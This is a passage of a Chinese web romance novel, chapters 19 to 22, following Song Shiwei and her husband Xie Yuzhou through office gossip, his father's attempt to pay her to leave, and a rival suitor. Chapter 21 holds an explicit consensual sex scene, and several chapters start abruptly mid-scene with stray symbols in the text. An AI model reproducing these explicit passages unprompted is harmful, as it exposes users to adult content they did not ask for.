“你挺狠的,说走就走,一句话都没有交代给他,说结婚就结婚。” 他越说越气愤,但骨子里的涵养让他没有说出太难听的话。 余子昂是谢屿舟的朋友,为他鸣不平很正常。 他说的是事实,宋时微没有辩驳。 突然,‘砰’一声,林以棠推开门又带上,站在宋时微前面,“微微肯定有自己的理由。” 她刚刚看余子昂的神情,猜出他不安好心,果然被她猜中了。 余子昂:“再不得已的理由,连个打电话发信息的时间都没有吗?” 林以棠仰起头怼他,“都说了是不得已,听不懂人话吗?”她拉起宋时微的手腕,“微微,我们走。” 转过身对余子昂说:“还有,这是谢屿舟和微微之间的事,无关紧要的人不要插手,谢屿舟都没说什么,你又有什么资格说她?你凭什么说她?” 到了地下车库,林以棠还是气不过,发了几十条语音骂余子昂。 宋时微坐进副驾驶,感动道:“谢谢你,糖糖。” 朋友理解她的决定,不过问且无条件信任她,是一件非常难得的事。 “你怪我吗?” “怪过。”林以棠坦言,“但你是我朋友啊,我知道你肯定有难言之隐,不能和我们说。” 她安慰宋时微,“余子昂的话你当他在发神经,谢屿舟他肯定对你还有感情,不然不会和你结婚。” 宋时微不置可否,揪着抱枕兔子的耳朵,“我不知道怎么和他相处,好像怎么做都是错的,都弥补不了七年! 和不告而别。” 林以棠:“那就别想着弥补,把他当老公相处,或许会轻松点。” 笑着打趣她,“再揪兔子耳朵就掉了,它会痛的。” 宋时微拍拍兔子,“不痛不痛。” “谢屿舟来了。” 林以棠立刻解开安全带,下车喊住他。 十分钟前,谢屿舟收到余子昂给他发的消息,【你老婆来律所咨询婚前协议的事了。】 当即联系司机赶过来。 林以棠气愤说:“谢屿舟,你来的正好,管好你的朋友,对微微放尊重点,没人逼着你去结婚领证吧,是你自愿的吧。” 谢屿舟出现在这一定是收到余子昂的消息,防止产生新的误会,宋时微主动解释,“是糖糖要咨询婚前协议,我陪她来,我没想过咨询。” 林以棠点头,“对,是我要找律师,你不要被人挑拨冤枉了微微。” 男人面无表情,“我知道。” 宋时微:“糖糖,正好你不用送我了,我和谢屿舟一起回公司。” 林以棠:“他要是欺负你,你打电话给我,我立刻赶过来。” 谢屿舟淡掀眼睫,凛声强调,“我不会。” “呵”,林以棠轻嗤他,“那可说不准,你朋友敢那样说微微,还不是因为你的不重视。” 送走林以棠,宋时微和谢屿舟一齐坐进后排座位,他说:“陈叔,回公司。” 男人放下挡板,“余子昂和你说什么你都别在意,他人就那样,口无遮拦。” 窗外雨落下,暴雨如注,雨珠顺着玻璃窗滑下。 宋时微盯着连绵不绝的雨线发呆,手指在窗户上划来划去,喃喃开口,“谢屿舟,我是不是做错了?我从一开始就不应该回来。” 始终看向窗外,心揪在一起发疼。 谢屿舟声音冷冽,“所以呢,现在你又想走了吗?” 宋时微苦涩笑笑,“没有,我不会走。” 两个人随便找了一家店吃午饭,相顾无言,车子停在寰宇大厦的停车场。 第 19 章 老公[VIP] 第19章老公[vip] 谢屿舟伸长手臂在电脑上操作一番,抵住她的额头,浓黑瞳仁看过去,“时时,你这是在做什么?” 宋时微鼓起勇气和他平视,“找地方坐,平等对话。” 无外乎哪个‘zuo’,左右是同一个音。 她坐在他的腿上,搂紧他的脖子,现在是平等得有些暧昧。 女生的眼神闪闪烁烁,时而敢看他,时而又垂下眼睫,顶灯照耀下,脸颊透着粉红。 像刚成熟的水蜜桃,让人想咬一口。 谢屿舟的手指缠绕她掉下的头发,在指尖把玩,“我知道。” “知道什么?” 宋时微慢了半拍,方才明白他回答的是她上一个问题。 一旦开口,后面的话自然而然容易说出口,“我那时候发布兼职,比如代课修报告格式之类的,梁景翊不知道从哪看到我的照片,非要让我假扮他女朋友帮他挡桃花,我不愿意他就一直跟着我,要加价,可烦人了。” 谢屿舟难得听到宋时微一口气说这么多话,恍惚看到从前的她,偶尔吐槽题目难,吐槽学校的800米长跑。 他敏锐捕捉到关键信息,眉峰轻拧,“你很缺钱吗?要兼职。” 宋时微和他错开眼神,迅速组织理由,解释道:“挣点零花钱,你知道的,女生要买很多东西。” 很明显,她在说谎。 谢屿舟不急于追问,换了一个问题,“后来他是不是喜欢你?” 宋时微:“你怎么知道?” “照片里看出来的。” 谢屿舟揽住她的腰,让她坐得稳当些,眼里不经意流露嫉妒。 嫉妒别的男人和她共度大学时光,填补了他不在的日子。 宋时微玩他的衬衫纽扣,解开扣上,扣上又解开,“他在学校挺显眼招摇的,就因为这些照片,传来传去有些人真以为我是他女朋友。” “别乱动。”谢屿舟捉住她的手,“过去的事,我不在意,真有男朋友也是你的自由,而且有个人照顾你也挺好的。” 独自消化的艰涩,他有什么资格吃醋。 “哦。”原来他不在意,难怪表现得这么平静,宋时微收起失落的情愫,“你怎么有这些照片,是余律师给你的。” 难怪对她的态度发生了改变,余子昂为谢屿舟打抱不平,她一声不响离开,还若无其事交了男朋友。 谢屿舟没有否认,宋时微说:“余律师也是为了你着想,而且他说的是实话。” “他不会再找你。” 两个人心知肚明发生了什么,手背的伤有了答案。 谢屿舟握紧她的手,摩挲她掌心里的茧。 怎么这么硬。 宋时微抬起头,和他四目相对,漆黑的眼睛对上清润的眼眸,她的眼睫簌簌颤抖。 男人的嘴角噙着淡淡的笑,静静看着他,眼眸深邃似深潭,将她吸进去。 无言的旖旎在空气里疯狂滋生,看谁先忍不住率先行动。 ! 谢屿舟好似是一名十分有耐心的钓客,不焦躁不出击,等待鱼儿主动上钩。 论磨人和耐心,宋时微不是谢屿舟的对手。 在她即将败下阵准备投降之时,男人扣住她的脖颈,向前一压。 唇贴着唇,撬开她的牙齿,加深了吻。 “唔。”四周的温度节节攀升,宋时微被他亲得连连向后仰,纤细的腰肢抵在书桌边缘。 她的手掌没有支撑,不小心碰到桌上的键盘。 这时,笔记本电脑里传出孟新允的声音,“老板,可以继续了吗?” 宋时微不敢再发出任何声音。 谢屿舟睁开眼睛,不疾不徐关闭对面的麦克风,云淡风轻发送几个字。 这一切,宋时微全然不知。 因为害怕被人听见,她的身体绷直,只听到谢屿舟打字的声音,而同时他还在亲她。 一心二用,男人的恶劣在此时体现得淋漓尽致。 宋时微用力掐他的胳膊,想让他松开她,他含得更紧,甚至移到耳垂以下。 谢屿舟轻笑一声,说:“时时,再重一点。” 宋时微:???还把他掐爽了,上次打他也是。 “你是不是抖m?”她瞪着眼,声音两人可闻。 “不是。” 谢屿舟听不懂抖m是什么意思,但总归不是什么好词。 男人的向下移动,嘴唇亲过的地方,像电流流过,宋时微用气声训斥他,“你还在开会,能不能有点老板的样子。” “休会了,我这边没开麦克风。”谢屿舟无辜道:“我也不知道你要坐我腿上。” 活脱脱一副正人君子的模样,像被她胁迫一般。 宋时微睨他,“你的自制力真差。”杵到了她,无法忽视。 谢屿舟坦坦荡荡,“我觉得我的自制力很好。” 他没有做什么,只是接吻罢了。 “的确很好。”宋时微推开他,“那你继续开会,我走了。” 谢屿舟箍住她的腰,“没事,没开摄像头,你可以听。” “我不要,谢总工作的时候要认真,我等着收年终奖呢。” 他开会她坐在他腿上算怎么回事,昏庸荒唐。 “我出去了。” 男人清了清嗓子,“会议继续。” 宋时微的手握在门把手上,转过身跑到谢屿舟的身旁,低头舔了一下他滚动的喉结。 目光狡黠指了指笔记本电脑,迅速逃离书房。 君子有仇,当场就报。 睡前,宋时微惯例玩种菜的小游戏,谢屿舟擦干头发踏步走进卧室。 向她透露,“和傅景深谈好商务条件了,明天签合同。” 宋时微一心收割白菜,“哦。”意料之中的结果,不然怎么会大费周章去茶园考察。 谢屿舟:“你不关心他?” “我不关心。” 宋时微搁下手机,眼尾带笑,“还是说你希望我关心,那我就关心一下,傅总亲自跟进吗?两边要一起开会吗?那我是不是! 会经常见到他?见到他要不要请他吃饭喝酒呢?如果他约我出去吃饭我要去吗?” 她真的成心气他,谢屿舟幽幽道:“其他时候没见你这么听话。” 宋时微佯装委屈,“我这不是听从老板的安排吗?怎么还错了?” 谢屿舟睇她,“你要是不困我们做点其他的。” 宋时微应声,“可以啊,反正有现成的套,谢总技术烂但是硬件还可以。” 旁边的男人不再说话,成功被她气得哑口无言。 宋时微添油加醋,“还是说谢总你不行了,难怪每次都没有继续下去,有病尽快去治,满大街的男科医院,谢总不用觉得不好意思。” “宋时微!” 谢屿舟一字一句喊她的名字,将她带进怀里,自上而下凝视,“我行不行你不知道吗?” 宋时微抿唇轻笑,“25岁之后的谢总我不知道啊,毕竟男人一旦过了25,呈指数级滑坡,谢总,你是真的不行了吗?” 谢屿舟松开她,不看她的眼睛,“激将法没用。” 一双漂亮的眼睛惯会骗人。 有些当不能上第二次,当初怎么她一句话没说,只是挠了挠他的手心,他就和她偷偷溜走上楼了。 印证了一句话,轻易得到不会珍惜。 —— 翌日,乔言心带着惊天八卦走进办公室,迫不及待和宋时微分享,“微微,有人昨天在地下车库看到老板在哄老板娘,说可温柔了,依依不舍抱得可紧可紧了。” 果然,人类的八卦心只存在于熟人之间。 宋时微:???“啊?” 她保持镇定,理性分析,肯定没拍到脸,不然心心不会和她八卦。 乔言心找出照片,“照片比较模糊,可惜看不清老板娘的脸。” 宋时微心想,幸好看不清啊。 乔言心越看照片越觉得似曾相识,好像在哪里见过,突然,她看向宋时微。 “怎么了?”宋时微讪讪地笑,心里打鼓她不会认出来了吧。 乔言心皱眉,“你是不是也有一件这样的衣服?” 宋时微悬着的心跌回胸腔,“有的,很巧哈。” 人是不能冲动,冲动的结果是差点被发现。 乔言心:“不过老板娘和我想的不一样哎,我以为是穿着那种套装拎着名牌包,娇滴滴的千金小姐,结果这么接地气,扎着低马尾穿衬衫配黑裙子的ol风。” 大家对谢屿舟妻子的猜想停留在某一家千金上,而非一个普通人。 宋时微:“你这是刻板印象。” 乔言心发现了重点,“在我们的地下车库,那就是说,老板娘也在我们这一栋楼上班,不会是我们公司的人吧。” 果然,人类的聪明往往用在了无用的事情上,一猜一个准。 宋时微强行撇开和自己的关系,“也不一定,楼下不是租给了别家公司吗,那么多人呢。” 乔言心思考一下,“是哦,只有高区是我们在用。” 单纯的人轻而易举被别人说服。 ! 此刻的顶层总经理办公室,孟新允向谢屿舟汇报,“谢总,您昨天和太太在车库被拍到了,没有拍到太太的脸,所以没有暴露身份。” 做助理真不容易,潜水卧底在公司的八卦群。 谢屿舟淡声回:“我知道了。” 孟新允:“上次的流言是销售部传出来的,不知道具体是谁,最近没人再提。” “嗯。”谢屿舟抬起冷白手腕,看了眼时间,“傅景深是不是到楼下了?” 孟新允:“是的,正坐电梯上来。” 谢屿舟搁下钢笔,修长指节扣上西服扣子,“去接人。” 这是傅景深第三次来谢屿舟的办公室,“谢总,领带不错。” 谢屿舟故意抬手调整领带位置,“太太挑的。” 合同此前由双方法务多次沟通修改,确保保证万无一失,谢屿舟和傅景深仔仔细细看了一遍,方才拿笔签下自己的名字。 两个男人伸出右手,达成共识。 “合作愉快,傅总。” “合作愉快,谢总。” 签订合同,合作尘埃落定,不用再隐瞒,第一时间对外界公布。 乔言心登上oa系统,弹出一封邮件,“微微,看官网了吗?” 宋时微:“看到了。” 只是,谢屿舟为什么戴的是这条领带,出门前她给他系的是墨蓝色领带。 “我们的好日子到头了,苦日子今天正式开始。” 乔言心点开外卖软件,“点个奶茶安慰自己,你要喝吗?” 宋时微摇摇头,“不用,马上有你喝不完的茶。” 乔言心苦笑,“苍天呀,新官上任的第一把火先烧我们。” 当天下午,谢屿舟召集饮料条线的人逐个部门开会,最后一个是策划线。 谢屿舟言简意赅道:“研发部会在本月推出新品,策划部配合出营销推广方案。” “接下来会比较忙,辛苦各位。” 乔言心和宋时微非核心成员,坐在角落里。 “微微,谢总今天戴的是小熊领带哎,和我们上次逛街看的一样,还真的有人买,有人愿意戴啊。” “我有点近视,看不清。”今天这么重要的场合,他竟然戴卡通领带。 第 20 章 护妻[VIP] 第20章护妻[vip] 觥筹交错的宴会厅,多数人想利用这个机会攀机会、找资源,酒一瓶一瓶地开,倒也不做违法的事。 不知几时几分,谢屿舟使出毕生躲酒的本领,让别人误以为他醉了。 突然,口袋里的手机响了起来,谢屿舟和敬酒的人说:“抱歉,太太电话。” 没有拿出手机便知道是谁的电话,独一无二单独设置的铃声。 接通电话的第一时间,谢屿舟听见宋时微的声音,不似往日的清冷,带了甜美和亲密。 她在电话另一头喊他“老公”。 男人错愕住,嗓子有些发痒,不耐地松了松小熊领带,“怎么了?时时。” 万事开头难,宋时微能够顺畅说出接下来肉麻的话,“老公,门禁时间是晚上10点,还有20分钟,过时你就睡大街吧。” 说完这一大段话,她身上起了鸡皮疙瘩。 对着镜子练了十分钟的‘老公’,才能流利说出这个称呼。 “马上回家,老婆。” 谢屿舟的语气里带有明显的喜悦,他接电话的时候没有避着旁边的人,眉峰上扬,略表歉意,“抱歉,各位,家里太太管得严,门禁时间快到了,先行一步,玩得愉快。” 其他人没有寒暄留他,晚餐开始之前大家注意到他的领带,吃过一遍狗粮。 “谢总新婚燕尔啊,和谢太太的感情好难得。” 在座的都是人精,婚姻多数是睁一只眼闭一只眼凑合过,只要没有原则问题,在外逢场作戏家里太太根本不管。 而不是像谢屿舟这样,对非他老婆的女人避之唯恐不及。 谢屿舟淡瞥一眼孟新允,孟新允接收到信号,“谢总,司机在外面等您。” 他压低声音,“剩下交给我。” 谢屿舟捞起外套,和众人告别,地毯稀释了走路的动静,到电梯间他才注意到身后有人。 男人黑眸敛起,“傅总怎么也出来了?也有太太催?” “家里漏水回去处理。”傅景深慢悠悠道:“比不上谢总妻管严,有老婆催。” 合作归合作,私下里的阴阳怪气没有改变。 基于对彼此的了解,公私分明,在大事和利益面前不会儿戏。 谢屿舟不露声色地说:“听说老傅总在给傅总张罗相亲,期望早日喝上傅总的喜酒。” 傅景深按下电梯,不答反问:“不知谢总的婚礼什么时候办,还想讨杯酒喝。” 谢屿舟淡笑,“快了,办的时候一定亲自将请柬送到你的手上。” 傅景深礼貌回复:“一定出席,见证谢总和宋小姐的故事,我车到了,告辞。”???x 这时,陈叔开车过来,谢屿舟坐进车里,低头闻闻身上的酒味,“陈叔,我身上酒味重吗?” 空气里挥之不去的酒精味,甚至觉得头发丝里都有酒味。 为了躲酒,在衬衫上喷了点酒精,伪装喝多的假象。 陈叔闻了下,“不重。” ! “先回公寓。” 谢屿舟刚回国时在臻悦府附近购置了一套面积稍小的公寓,一个人住大户型太过空旷,结果没住两天就结了婚。 他去公寓简单洗漱,换了一件同款的白衬衫,系上领带,身上的酒味淡了许多,方才回家。 推开臻悦府的大门,客厅亮起一盏暖黄色的灯,餐桌上温着解酒茶,胃药放在一旁。 橙色的玫瑰花瓣舒展开,与灯光的色彩融为一体。 宋时微抱着猫咪躺在沙发上睡觉,静谧温馨,像刚领证那天晚上的场景。 美好的画面现在成为常态。 谢屿舟将外套轻轻放在玄关架,轻手轻脚走去沙发, 一道突兀的声响吵醒了睡觉的人。 宋时微听见椅子的滋啦声响,旋即坐了起来,谢屿舟正蹲在沙发边。 “你回来了。” 谢屿舟的眼里反射出暖色的点点星光,“怎么不去床上睡?” 宋时微嘴硬道:“我在陪猫玩,不小心就睡着了。” 才不会承认是等他等睡着了。 宋时微揉揉眼睛,岔开话题,“你喝了多少?” 她嗅了嗅空气,淡淡的酒味。 谢屿舟摸摸她的头,“一点点,我去刷牙洗澡。” 说话的人并没有离开,而是目光灼灼地看她,她低头,他仰头,视线刚好碰撞。 “那你快去啊,盯着我看干什么。”宋时微羞赧地错开目光,“你胃疼吗?” 谢屿舟还是看她,“不疼。” 宋时微站起来,绕开他去端醒酒汤,“你先喝醒酒汤再去洗澡,我去外公那里抓的花茶,保护胃和肝,还能醒酒,总是吃药也不好。” 谢屿舟仰头喝完,喉结剧烈滚动,“好,听老婆的。” 收拾好餐桌,宋时微迈出艰难的步伐,总归要面对现实。 她没有躺进被窝里,坐在床边,等谢屿舟出来。 一张面巾纸被她揉来揉去,习惯难以改变。 男人从浴室出来,漆黑的碎发七成干,睡衣纽扣解开两颗,脖颈处微微泛红,衬得皮肤更白。 谢屿舟的黑眸愈发深邃,是浩瀚无垠宇宙清透的黑,双手撑在宋时微的身体两边,抵住她的额头,“时时,再喊一次。” 宋时微佯装听不懂,“喊什么?” 谢屿舟直接点破,“别装傻,你知道。” 宋时微的耳朵泛起一层红晕,“不要,那是特殊情况,奶奶担心你的胃,我才喊你回来的。” 谢屿舟不放过她,将她困在怀里,“我想听。” 过了今晚,再想听到难如登天。 事到临头,开口没那么难,她想了一晚上,想好了要不要告诉谢屿舟。 宋时微的手指揪身后枕头的边,垂下眼睫看向地面,躲过了即将到来的吻。 指甲被攥得发白,缓慢开口:“谢屿舟,今天我从老宅出来,爸找我谈话了。” 谢屿舟眉头紧锁,抓住她的手,“他说什么你都……” 宋时微仰起头,打断男人的! 话,扬起一抹淡淡的弧度,“你先听我说完,他拿了一张支票给我,我没看多少钱,七年前是七位数,不知道七年后我在他眼里值多少钱?可能多一位数,毕竟现在我受法律保护,不好直接拆散。” 她用轻松自嘲的口吻说出这席话,个中酸楚恐怕只有自己知道。 “他让我和你离婚,我没同意,你听录音吧。” 宋时微把后面报警和提供线索的录音部分剪掉了,拼接得毫无痕迹。 或许从谈话开始,宋时微从心底里就不想瞒着谢屿舟,所以当时悄悄录了音。 室内寂静无声,谢宏恺咄咄逼人的声音完整无误灌进谢屿舟的耳中。 他能猜到他爸是什么语气和态度,但亲耳听到,男人越听面色越沉。 反反复复的她配不上他,问她要什么条件才愿意离开他,难以想象,七年前,十八岁的她是怎么面对的。 “就是这样,我和你说是不想你从其他地方听到,传来传去容易传得面目全非。”???x 悬在头顶的刀暂时收了回去,宋时微还有心情开玩笑,“我是不是挺不尊老的,毕竟他是你爸,我理解他不想我和你在一起,从小锦衣玉食培养大的优秀儿子,被一个完全不相配的女人拐跑了,我们门不当户不对,是没有他给你挑的妻子般配。” “不是这样。” 谢屿舟搂住宋时微,“你知道的,我一直没有同意相亲或联姻。” 是的,他没有娃娃亲,没有联姻对象,之前是觉得保守封建,后来是遇到了她。 宋时微不觉得难过,在意料之中,和他闲心聊天,“我想,他现在最后悔的事估计就是没送你去贵族学校,而是上了公立学校,不然就不会认识我。” 想锻炼儿子在各个环境的生存能力,结果没想到被她拐走了。 谢屿舟问:“你后悔吗?” “不后悔。” 宋时微毫不犹豫回答,话锋一转,“说不准下次他给的更多我就同意了。” 谢屿舟被她气笑,知道了她的确没有太在意,“放长线,钓大鱼懂不懂?做谢太太可以拿一半的财产。” 宋时微心里的郁结散了大半,“你说得对,但是你的财产都在你名下吗?律师都说了,想方设法转移财产,不会变成共同财产。” “发你了。” 谢屿舟发来了他的财产状况,买了哪些股票、基金,房产车子情况,完全没有隐瞒。 还有一件事,找机会坦白吧。 现在的她,也不是十八岁的宋时微,没有那么脆弱。 “他不喜欢就不喜欢我吧,我又不是人民币。” 至于般配,没有一个标准。 “只有他一个人不喜欢,妈妈爷爷奶奶外公外婆喜欢你,投票也是5比1压倒性胜利。” 谢屿舟心疼道:“下次不要自己去老宅了。” “好。”宋时微打趣道:“你说爸给了我多少钱呢,我要是收了,我们岂不是多了一笔财富,又没人能绑我去民政局,亏了。” 谢屿舟摁掉床头的开关,“拿我挣钱呢。”! 宋时微弯起嘴角,“不行吗?谢总。” 谢屿舟将人抱在怀里,“行,回头记得钱分我一半。” “不给,这是我的意外所得。” 宋时微蒙上被子,“晚安,老公。”后面的称呼囫囵说完。 谢屿舟以为自己听错了,“你说什么?” 宋时微哪里有勇气再说一遍,“我说睡觉。” 待身旁的女人睡熟以后,谢屿舟去书房拨通了谢宏恺的电话,开门见山冷声说:“爸,不要再找她。” 谢宏恺:“她什么都没有,什么都帮不到你,只会拖后腿,强强联合懂不懂?” 谢屿舟:“我不需要她帮我什么,妈妈、爷爷奶奶、外公外婆都没说什么,你为什么总是一意孤行?” 说让他转学就转学,出国也是,从不过问他的想法,固执地为他安排好一切。 “回去就告状,她到底给你灌了什么迷魂汤。” 谢宏恺顺顺心脏,“七年了,抛下你一回你还能被她迷住,我们谢家怎么有你这样的人。” “对她少点偏见。”谢屿舟摩挲钱包的照片,坦言,“除了她,我没想过和第二个人结婚,我说的再直白点,如果不是她,我不会考虑结婚这件事。” 谢宏恺加大声音,“她喜欢你吗?她对你有感情吗?值得你这样。” 谢屿舟靠在椅子上,顿住数秒,“我不在乎,无论是一分还是十分,哪怕一分没有,我只要她在我身边。” 护不住她,让她受委屈,他和她结婚做什么。 “爸,别想着用其他手段为难她,我不是七年前的我,不是她不离,是我不会和她离婚。” 谢宏恺被儿子气地直接挂断电话。 章寄雪安心刷电视剧,“你说你非要和他犟做什么,儿孙自有儿孙福,由他去吧。” 谢宏恺:“由他去天就塌了。” 章寄雪:“塌了也有你儿子顶着,他个高。” 谢宏恺:“你就这么同意了?你可别忘了她抛下过你儿子一回。” 除了老头老太太宠溺孙子,他没想到连章寄雪都同意。 章寄雪:“你不说我还真忘了,多大点事儿,经历点挫折挺好,省得他觉得想要什么就有什么,我看微微就挺好。” 能调动儿子的情绪,不再像个机器木头人,这样的女生找不出第二个。 “屿舟这样维护媳妇才是我章寄雪的儿子。” 谢宏恺:…… 孤立无援,又被老婆气到。 —— 翌日,一个带墨镜的男人出现在寰宇大厦前台,“你好,我找宋时微。” 前台的小姐姐微笑说:“稍等。” 宋时微接到内线电话,下楼一看是梁景翊。 他为什么还抱着玫瑰花,转身离开来得及吧,旋即对着前台小姐姐比了‘嘘’。 结果,梁景翊看到了她,“宋时微。” 宋时微无奈打招呼,“梁景翊你怎么知道我在这?” 第 21 章 电话[VIP] 第21章电话[vip] 脸上?! 宋时微被谢屿舟的话震惊住,脸颊立刻爬上一抹红晕,支支吾吾拒绝,“这就不用了吧。” 他之前舔过她,不止一次,基本是他蹲在地上,她躺在床上。 骑脸是第一次尝试。 “害羞了?” “你真的不想吗?” “还是不敢?” 谢屿舟现在像伊甸园的蛇,引诱她正视自己的欲望和需求。 宋时微点了点头,将他推倒在床上,抬手关上了灯。 夜灯随之亮起。 影影绰绰的光线里,她趴在他的身上。 一颗一颗解开他的睡衣纽扣,“谁不敢了,谢总不要临阵逃脱。” “彼此彼此。” 宋时微的指尖划过男人的胸膛,在他的胸肌前停下,指尖用力捣了几下。 “谢总,这几年练得不错嘛,可惜其他没有提升。” 谢屿舟掀开她的睡裙裙摆,“坐稳。” 宋时微的手掌扶住被单,眼睛向下瞥,什么都看不见,裙摆是天然的遮挡物,但却挡不住声音。 灵巧炙热的舌尖肆意妄为穿行,像奔腾的江河,在高山峡谷中川流不息。 “谢屿舟,你慢点。” 宋时微预判不到他的下一步落点,毫无规律。 渐渐江河有了支流,顺着另一条峡谷向下延伸。 回来得匆忙,两个人忘了关窗,风扬起窗帘,带起绝美的弧度。 窗外是淅淅沥沥的小雨,轻轻打在玻璃上,听雨声,屋子里的雨更大一些。 屋内屋外都在下雨。 “唔。” 宋时微咬住唇瓣,额头和蝴蝶骨全出了汗。 风吹得她直直摇晃,快要倾倒,她的小腿被男人的虎口卡住,烫得她一激灵。 谢屿舟问她,“时时,我伺候得好不好?” 宋时微:“不好,很烂。” “它不赞同你的观点。” 他咬她,他竟然咬它,似是惩罚一般,像被蚂蚁咬了一下的痛。 这种痛间断来袭。 宋时微的意识混混沌沌,不受控地想到七年前,两个人的第一次。 谢屿舟开始担心她受伤,冷着脸蹲在床边做前戏,忍受快要爆炸的欲望。 七年过去,他变得更能忍耐。 男人凛冽的声音从裙摆里传出,“还想要别人,一边一个?” 宋时微哆哆嗦嗦问:“可……可以吗?” 一句话支离破碎。 身体力行告诉她答案是可以还是不可以。 宋时微快要倒了下去,全靠男人借给她的力道撑着。 她头一次明白,原来坐久了也会腿麻,因为虚虚用力没有完全坐下去。 溪水到达尽头的平原,冲击成沼泽。 宋时微又被谢屿舟压在床上亲,从下到上亲了一遍。 只是,在要亲到她的唇时,宋时微偏! 头躲了过去。 谢屿舟掰正她的脸,“自己的不要嫌弃。” 堵住她的唇,偏要她一起尝。 他这是什么癖好,自己吃就算了,还要带着她一起吃。 宋时微胸腔里的空气被男人吸走,她重重喘气,忍无可忍睨他,“你不是有洁癖吗?” 谢屿舟不以为然,“你不是洗过了吗?” 男人目光灼灼直勾勾盯着她,“这辈子只能有我。” 宋时微揶揄他,“谢总,你好容易就吃醋,你家是做醋起家的吗?” 谢屿舟纠正她的话,“我没有吃醋,不喜欢有人觊觎我的人。” 宋时微作恍然状,“没吃醋啊,那是我自作多情了。” 他的手指划过她的脸颊,目光收紧,“你和他很熟。” 两个人拌嘴的熟稔度,宋时微和他可没有。 “你已经下了定义,那就熟。” 宋时微笑着补充一句,“是挺熟的。” 肉眼可见男人的眉峰向下压,“你看,说实话你又不开心。” 谢屿舟反问她,“你想要吗?” 宋时微:“想要你会给吗?” 谢屿舟:“求我,会给。” “那我不想要。” 宋时微的眼神向下瞥,啧啧感叹,“谢总,我真怕你憋坏了。” 谢屿舟:“没那么脆弱,这么多年都过来了。” 看来心理创伤不小。 翌日,谢屿舟收到一条拜访信息,有点意思,停下手里的笔,吩咐孟新允,“我出去一趟,接下来的会议你主持。” 孟新允:“好的,老板。” 谢屿舟走进包厢,冷厉通知,“梁景翊,你只有十分钟。” 他没有和宋时微说,梁景翊约了他。 之所以赴约,是为了找寻过去七年的突破口。 他不相信单单因为他爸的话,她就不告而别,举家南迁,杳无音信。 梁景翊懒散靠在椅子上玩游戏,勾起嘴唇,“谢总这么忙,能有时间照顾微微吗?” 谢屿舟的指节轻扣桌面,眼神扫过去带有浓浓的占有欲,“不知道你有什么资格和我说这些,宋时微是我太太,别再打她的主意。” 比起傅景深,梁景翊太幼稚。 傅景深只是从小和他斗习惯了,想给他添点堵,形不成风雨,眼前这位是真的没有道德。 “那又如何?” 游戏输了,梁景翊收起手机,“我很喜欢她,可惜她心里没我。” “你约我出来,是让我听你表白的?” 世界荒唐成这样了吗?当着他的面表白他老婆。 梁景翊:“我又不找虐,昨天见得匆忙,我只是想知道我究竟输给你哪里了。” 谢屿舟几不可查地扬起眉峰,“那可太多了,她不喜欢幼稚的人,不喜欢异地恋,总之,她不喜欢你。” 有合法身份的人说话就是有底气,“她说她一定要回南城,你知道为什么吗?” 谢屿舟沉默,她为什么一定要回来?而! 妈妈还在临港。 梁景翊:“看吧,你也不知道。” “你也不是最后的赢家,我听过她给一个人打电话,很温柔。” 那是某一年的跨年夜,所有人忙着跨年玩,她在卖小玩意。 漫天的气球升空,她的眉眼弯成漂亮的弧度,温柔地祝福电话另一头的人“新年快乐”。 那时他才知道,她的心里一直有一个人。 是谁?谢屿舟陷入沉思,他没接到过她的电话,男人面上不显,“你怎么知道不是我呢?” 梁景翊:“因为他说了那个人的名字,我又不耳聋,所以我们都输了。” 他是输家,谢屿舟也只是得到了老公的身份。 谢屿舟表面波澜不惊,“和我说说她这几年。” 梁景翊看他的眼神充满真诚,“行吧行吧,看在我们同病相怜的份上。” 接下来的半个小时,梁景翊言简意赅说了他知道的情况,看似吊儿郎当,实际条理清晰,重点明确。 “就是这样,她有捷径的,除了中年老男人还有很多富二代追她,她拒绝了每一个男人。” 当然也包括他。 梁景翊上下打量谢屿舟,人模人样,一个继承家族企业的富二代,“真不知道你使了什么花招,让微微和你结婚。” 谢屿舟字斟句酌强调,“是她向我求的婚。” 语气里夹杂藏不住的得意。 梁景翊吃惊地看着他,凭什么?! “我真的不介意做第三个人的,反正我们有共同的敌人。” 谢屿舟掀起黑眸,“我介意,我太太更介意。” 说话也要宣示主权。 他站起身,‘咔哒’扣上袖扣,“梁先生随便点,我回去开会。” 梁景翊边吃饭,边心塞。 来南城看看宋时微过得好不好,顺便看看那个男人,结果她和别的男人结了婚。 他连候补都算不上。 宋时微是在梁景翊飞机起飞后才知道他已经离开了南城。 给他发送了一条信息。 【祝你今日无忧,明日无碍,熠熠生辉。】 谢屿舟从梁景翊口中得到了关键的信息,结束和他的对话,乘专梯直抵办公楼顶层。 看见孟新允,脚步微凝,问:“宋时微在做什么?” “改方案吧。” 孟新允无声补刀,“老板您早上刚驳回的报告,您忘了吗?” 铁面无私直接打回,没有任何商量的余地,公私分明得非常好,这样公司才有前途。 至于老板回家会不会跪键盘,不在他的考虑范围内。 45层策划部,乔言心抓紧时间改报告,她像是驴子,被人鞭策走,好不容易熬到下班点,却不能走。 她拉着宋时微去楼下买晚餐,更重要的是想出来透口气,脑袋里进入太多东西。 乔言心抓着头发,哀嚎,“方案改了多少版了?” 宋时微:“8版,第9版在路上,而且今晚要改出来。” 乔言心:! “我只想摸鱼,奈何天将降大任于斯人也,看看我们能打破修改记录吗?老板会说还是用第一版吗?” 宋时微:“应该不会,他会想办法逼我们修到满意。” 就谢屿舟的性格,不会将就和凑合,宁愿自己动手,也不会随便找一个方案糊弄。 乔言心望望四周,小声吐槽,“谢总真的,他是机器出身吗?怎么什么都能看出来,什么都懂。” 宋时微附和,“他可能就是机器人,刻板无趣。” 她还想说下去,乔言心拉拉她的衣摆,“谢总好,孟助好。” 宋时微面不改色,“谢总、孟助。” 谢屿舟颔首,视线定在宋时微的手上,“一起买单。” 黑眸侧瞥,示意孟新允付钱。 宋时微拿了面包,心安理得接受,“谢谢谢总。” 被当事人直接听到吐槽的话,还是公司的老板,乔言心想原地去世。 第 22 章 视频[VIP] 第22章视频[vip] 衣帽间距离浴室仅有几步之遥,两腿离开地面,没有支撑点,宋时微所有的依靠在男人身上。 谢屿舟抱她怎么这么轻松,手臂肌肉凸起,隔着白色衬衫能够感受到他绷起的力量。 绷直的何止是肌肉,还有他的脸色,阴郁耐人寻味。 宋时微纤细的手臂搭在他的脖颈,从胸前环绕。 她嗔他,“谢屿舟,你放我下来,我不需要你帮我洗,我自己会洗澡。” “是吗?” 谢屿舟垂眸看他,蓦然轻笑。 男人的语气分明说的是“你不会”。 浴室的玻璃门被他用脚踢上,宋时微脚底沾了地,旋即被谢屿舟困在他的怀里。 腰窝抵着洗手池,男人的身影压下来。 